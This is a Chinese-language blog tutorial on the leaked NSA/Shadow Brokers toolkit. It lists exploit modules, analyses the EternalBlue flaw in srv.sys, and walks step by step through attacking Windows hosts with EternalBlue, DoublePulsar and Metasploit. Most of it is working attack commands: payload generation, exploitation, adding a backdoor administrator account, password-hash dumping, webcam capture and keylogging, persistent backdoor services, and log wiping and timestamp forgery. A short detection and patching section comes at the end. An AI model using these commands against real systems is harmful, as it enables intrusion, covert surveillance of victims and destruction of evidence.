下载地址:https://yadi.sk/d/NJqzpqo_3GxZA4
解压密码:Reeeeeeeeeeeeeee
github下载地址:https://github.com/misterch0c/shadowbroker

释放的工具总共包含三个文件夹,

  • Swift:包含了NSA对SWIFT银行系统发动攻击的相关证据,其中有EastNets的一些PPT文档、相关的证据、一些登录凭证和内部架构,EastNets是中东最大的SWIFT服务机构之一。
  • OddJob:包含一个基于Windows的植入软件,并包括所指定的配置文件和payload。适用于Windows Server 2003 Enterprise(甚至Windows XP Professional)
  • Windows:包含对Windows操作系统的许多黑客工具,但主要针对的是较旧版本的Windows(Windows XP中)和Server 2003。

主要工具

FUZZBUNCH:一款类似Metasploit的Exploit框架

模块 漏洞 影响系统 默认端口
Easypi IBM Lotus Notes漏洞 Windows NT, 2000 ,XP, 2003 3264
Easybee MDaemon WorldClient电子邮件服务器漏洞 WorldClient 9.5, 9.6, 10.0, 10.1
Eternalblue SMBv2漏洞(MS17-010) Windows XP(32),Windows Server 2008 R2(32/64),Windows 7(32/64) 139/445
Doublepulsar SMB和NBT漏洞 Windows XP(32), Vista, 7, Windows Server 2003, 2008, 2008 R2 139/445
Eternalromance SMBv1漏洞(MS17-010)和 NBT漏洞 Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2 139/445
Eternalchampion SMB和NBT漏洞 Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2, 2012, Windows 8 SP0 139/445
Eternalsynergy SMB和NBT漏洞 Windows 8, Windows Server 2012 139/445
Explodingcan IIS6.0远程利用漏洞 Windows Server 2003 80
Emphasismine IMAP漏洞 IBM Lotus Domino 6.5.4, 6.5.5, 7.0, 8.0, 8.5 143
Ewokfrenzy IMAP漏洞 IBM Lotus Domino 6.5.4, 7.0.2 143
Englishmansdentist SMTP漏洞 25
Erraticgopher RPC漏洞 Windows XP SP3, Windows 2003 445
Eskimoroll kerberos漏洞 Windows 2000, 2003, 2003 R2, 2008, 2008 R2 88
Eclipsedwing MS08-067漏洞 Windows 2000, XP, 2003 139/445
Educatedscholar MS09-050漏洞 Windows vista, 2008 445
Emeraldthread SMB和NBT漏洞 Windows XP, 2003 139/445
Zippybeer SMTP漏洞 445
Esteemaudit RDP漏洞 Windows XP, Windows Server 2003 3389

ETERNALBLUE攻击原理分析

ETERNALBLUE是一个RCE漏洞利用,通过SMB(Server Message Block)和NBT(NetBIOS over TCP/IP)影响Windows XP,Windows 2008 R2和Windows 7系统。
漏洞发生处:C:\Windows\System32\drivers\srv.sys
注:srv.sys是Windows系统驱动文件,是微软默认的信任文件。
漏洞函数:unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)
触发点:_memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6));
原因:逻辑不正确导致的越界写入
官方补丁修复前:

int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1)
{//SNIP...while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 &gt; v4)){*(WORD*)v6 = v3 - (_DWORD)v6; //<----------修改处return v1;}//SNIP...
}
int __thiscall ExecuteTransaction(int this)
{//SNIP...if (*(_DWORD *)(v3 + 0x50) &gt;= 1) //<------修改处{_SrvSetSmbError2(0, 464, &quot;onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c&quot;);SrvLogInvalidSmbDirect(v1, v10);goto LABEL_109;}//SNIP...
}

修复后:

int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1)
{//SNIP...while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 &gt; v4)){*(DWORD*)v6 = v3 - (_DWORD)v6; //<--------修改处return v1;}//SNIP...
}
int __thiscall ExecuteTransaction(int this)
{//SNIP...if (*(_DWORD *)(v3 + 0x50) &gt;= 2u) //<------修改处{_SrvSetSmbError2(0, 464, &quot;onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c&quot;);SrvLogInvalidSmbDirect(v1, v10);goto LABEL_109;}//SNIP...
}

具体见参考资料5

漏洞复现

  1. 环境搭建
主机类型 OS IP
攻击机1 win2003 10.10.10.130
攻击机2 kali linux 2.0 10.10.10.128
靶机 winXP x86 10.10.10.129

2. 工具准备

  • 解压NSA工具包中的windows文件夹到攻击机1的C:\目录下(只要不是中文目录皆可);
  • 在攻击机1安装:
    • python-2.6.6.msi
    • pywin32-221.win32-py2.6.exe
  • 在攻击机2先生成用于回连的dll
    msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f dll > x86bind.dll

3.扫描开启445端口的活跃主机并探测操作系统
nmap -Pn -p445 -O 10.10.10.0/24
nmap -Pn -p445 -O -iL ip.txt

4.攻击机1开始利用ETERNALBLUE攻击
python fb.py
use Eternalblue
...

5.利用Doublepulsar注入dll
use Doublepulsar

6.kali攻击机利用msf回连控制主机5555端口
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set LPORT 5555
set RHOST XXX.XXX.XXX.XXX
exploit

后渗透攻击

  1. 开3389端口
    (1)wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call
    setallowtsconnections 1

    (2)wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call
    setuserauthenticationrequired 1

    (3)reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

    针对win XP及win2003只需要第3条命令
    针对win 7需要第1,2条命令
    针对win 2012需要3条命令

  2. 添加账户进管理组
    net user sherlly sherlly /add
    net localgroup Administrators sherlly /add

  3. 端口转发
    如果3389端口只限内网访问,可以使用portfwd将端口转发到本地连接
    portfwd add -l 4444 -p 3389 -r XXX.XXX.XXX.XXX
    rdesktop -u root -p toor 127.0.0.1:4444

  4. meterpreter自带的多功能shell

    • hashdump:获取用户密码哈希值,可以用ophcrack等彩虹表工具进行破解明文
    • screenshot:获取屏幕截图
    • webcam_snap:调取对方摄像头拍照
    • keyscan_start,keyscan_dump:记录键盘动作
    • ps:查看当前运行进程
    • sysinfo:查看系统信息
    • getsystem:提权
  5. 维持控制

    • migrate:将meterpreter会话移至另一个进程内存空间(migrate pid)配合ps使用
    • irb:与ruby终端交互,调用meterpreter封装函数,可以添加Railgun组件直接交互本地的Windows API,阻止目标主机进入睡眠状态
      irb
      client.core.use("railgun)
      client.railgun.kernel32.SetThreadExecutionState("ES_CONTINUOUS|ES_SYSTEM_REQUIRED")
    • background:隐藏在后台方便msf终端进行其他操作,session查看对话id
    • session -i X:使用已经成功获取的对话
  6. 植入后门

    • 测试是否虚拟机:
      run post/windows/gather/checkvm
    • 以系统服务形式安装:在目标主机的31337端口开启监听,使用metsvc.exe安装metsvc-server.exe服务,运行时加载metsrv.dll
      run metsvc
    • getgui开启远程桌面:
      run getgui -u sherlly -p sherlly
      run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up_XXX.rc
      //清除痕迹,关闭服务,删除添加账号
  7. 清除入侵痕迹

    • clearev:清除日志
    • timestomp:修改文件的创建时间,最后写入和最后访问时间
      timestomp xiugai.doc -f old.doc

检测&防御

  1. 国外有人写了个检测Doublepulsar入侵的脚本,运行环境需要python2.6, 地址https://github.com/countercept/doublepulsar-detection-script, 使用方法
    python detect_doublepulsar_smb.py --ip XXX.XXX.XXX.XXX
    python detect_doublepulsar_rdp.py --file ips.list --verbose --threads 1
    另外,nmap也基于该脚本出了对应扫描脚本smb-double-pulsar-backdoor.nse,使用方法nmap -p 445 <target> --script=smb-double-pulsar-backdoor
  2. 安装相应补丁https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/
  3. 如非必要,关闭25, 88, 139, 445, 3389端口
  4. 使用防火墙、或者安全组配置安全策略,屏蔽对包括445、3389在内的系统端口访问。(见参考资料7)

参考资料

  1. http://thehackernews.com/2017/04/swift-banking-hacking-tool.html
  2. http://www.freebuf.com/sectool/132029.html
  3. https://www.cyberscoop.com/nsa-hacking-tools-shadow-brokers-dark-web-microsoft-smb/
  4. http://www.file.net/process/srv.sys.html
  5. http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
  6. https://nmap.org/nsedoc/scripts/smb-double-pulsar-backdoor.html
  7. https://jingyan.baidu.com/article/c843ea0b7d5c7177931e4ab1.html

NSA方程式工具利用与分析相关推荐

  1. NSA方程式泄漏工具包浅析

    本文讲的是NSA方程式泄漏工具包浅析,前日,臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit.com博客上提供了相关消息.据此,腾讯云鼎实验室对此进行了分析.本次 ...

  2. 影子经纪人再次归来,公开密码解密更多NSA黑客工具!连中国运营商都被入侵过?...

    影子经纪人再次归来,公开密码解密更多NSA黑客工具!连中国运营商都被入侵过? 我们最近一次报道Shadow Brokers的消息是在今年1月份,当时Shadow Brokers似乎已经"决定 ...

  3. MPB:清华杨云锋组-利用GeoChip分析环境微生物功能基因群落结构

    为进一步提高<微生物组实验手册>稿件质量,本项目新增大众评审环节.文章在通过同行评审后,采用公众号推送方式分享全文,任何人均可在线提交修改意见.公众号格式显示略有问题,建议电脑端点击文末阅 ...

  4. 利用jvisualvm分析JVM,进行性能调优

    什么是jvisualvm? jvisualvm是JDK自带分析工具. 可分析JDK1.6及其以上版本的JVM运行时的JVM参数.系统参数.堆栈.CPU使用等信息.可分析本地应用及远程应用. 在JDK1 ...

  5. 利用Pin分析程序的动态行为特征

    在程序设计和优化过程中,我们通常希望能有工具帮助我们分析热点代码.覆盖率.内存泄露等这些特性,对多线程程序还希望能分析并发性.竞争和死锁等等.但这些特征通常在静态编译时很难获取,而且往往只能在运行时才 ...

  6. 黑产工具情报的分析方式浅析

    接下来我们以恶意爬虫.抢券工具和注册机三种工具来谈一下黑产工具情报的分析方式. 对于企业方面来说,黑产工具情报可以有效的提高业务安全的攻防效率.通过分析工具利用的业务接口,不仅可以将黑产作恶行为进行有 ...

  7. 利用水文分析提取山脊线山谷线

    1 流程图 利用水文分析提取山脊线及山谷线,山脊线相当于分水线,山谷线相当于山谷线.分水线是水流的起源点,这些栅格的水流方向只存在流出方向而不存在流入方向,所以汇流累积量为零.通过对零值的提取就可以得 ...

  8. matlab 山脊 提取,ArcGIS中利用水文分析提取山脊线山谷线

    1 流程图 利用水文分析提取山脊线及山谷线,山脊线相当于分水线,山谷线相当于山谷线.分水线是水流的起源点,这些栅格的水流方向只存在流出方向而不存在流入方向,所以汇流累积量为零.通过对零值的提取就可以得 ...

  9. 利用水文分析方法提取山脊、山谷线

    1.背景 作为地形特征线的山音线.山谷线对地形.地貌具有一定的控制作用.它们与山顶点.谷底点以及鞍部点等一起构成了地形起伏变化的骨架结构.同时由于山登线具有分水性,山谷线具有合水性特征,使得它们在地形 ...

  10. 01 ArcGIS空间分析--水文分析--利用水文分析方法提取山谷山脊线

    ArcGIS空间分析的一个特别好的分析教程是汤国安老师的空间分析的内容. 实例与练习 练习1. 利用水文分析方法提取山脊.山谷线 1. 背景:山脊线.山谷线是地形特征线,它们对地形.地貌具有一定的控制 ...

最新文章

  1. LeetCode 595 Big Countries: SQL的题
  2. 关于Activity onNewIntent方法的调用时机
  3. quick sort
  4. flutter重新配置sdk路径_在Android中配置flutter
  5. php简单文件上传类
  6. 解决Adobe Animate CC 中文版非中文的BUG
  7. Python切分文本(将文本文档切分为词列表)
  8. 华为彭松:基于C.A.F模型构建联接竞争力,创造新增长
  9. kubernetes相关命令
  10. Deep Learning for NLP Best Practices
  11. 1、JavaWbe基本概念
  12. 微软笔试题-c语言-算法分析
  13. 迷惘_飘云羽逸_新浪博客
  14. 华为账号不能连接服务器怎么回事,云服务器连接不了是什么原因_云服务器连不上是为什么_华为云...
  15. 包姓女孩清秀文雅的名字
  16. 使用VMware安装CentOS
  17. linux安装globalsign证书,Globalsign 标准型(EV型)代码签名证书提取指南
  18. 做学问的三种境界(王国维)和八种境界(梁漱溟)
  19. 未转变者服务器物品建筑id,未转变者建筑物id是什么 | 手游网游页游攻略大全...
  20. 将两个或多个div放在同一行

热门文章

  1. HYSBZ 1406 密码箱【数学】
  2. tablepc是什么平板电脑_平板电脑 Tablet PC
  3. 天天QQ记牌器2.37 去广告绿色版
  4. 基于.net开发chrome核心浏览器【六】
  5. 东芝抢先一步,推出了全球首款16TB容量的硬盘MG08系列
  6. 【编译原理】自下而上语法分析(C/C++源码+实验报告)
  7. python优化网站_利用python做seo优化
  8. 广州北大青鸟软件工程师班课程简介
  9. MYSQL-Front新手连接数据库总结
  10. Android 抖音爱心动画,Android实现抖音心形函数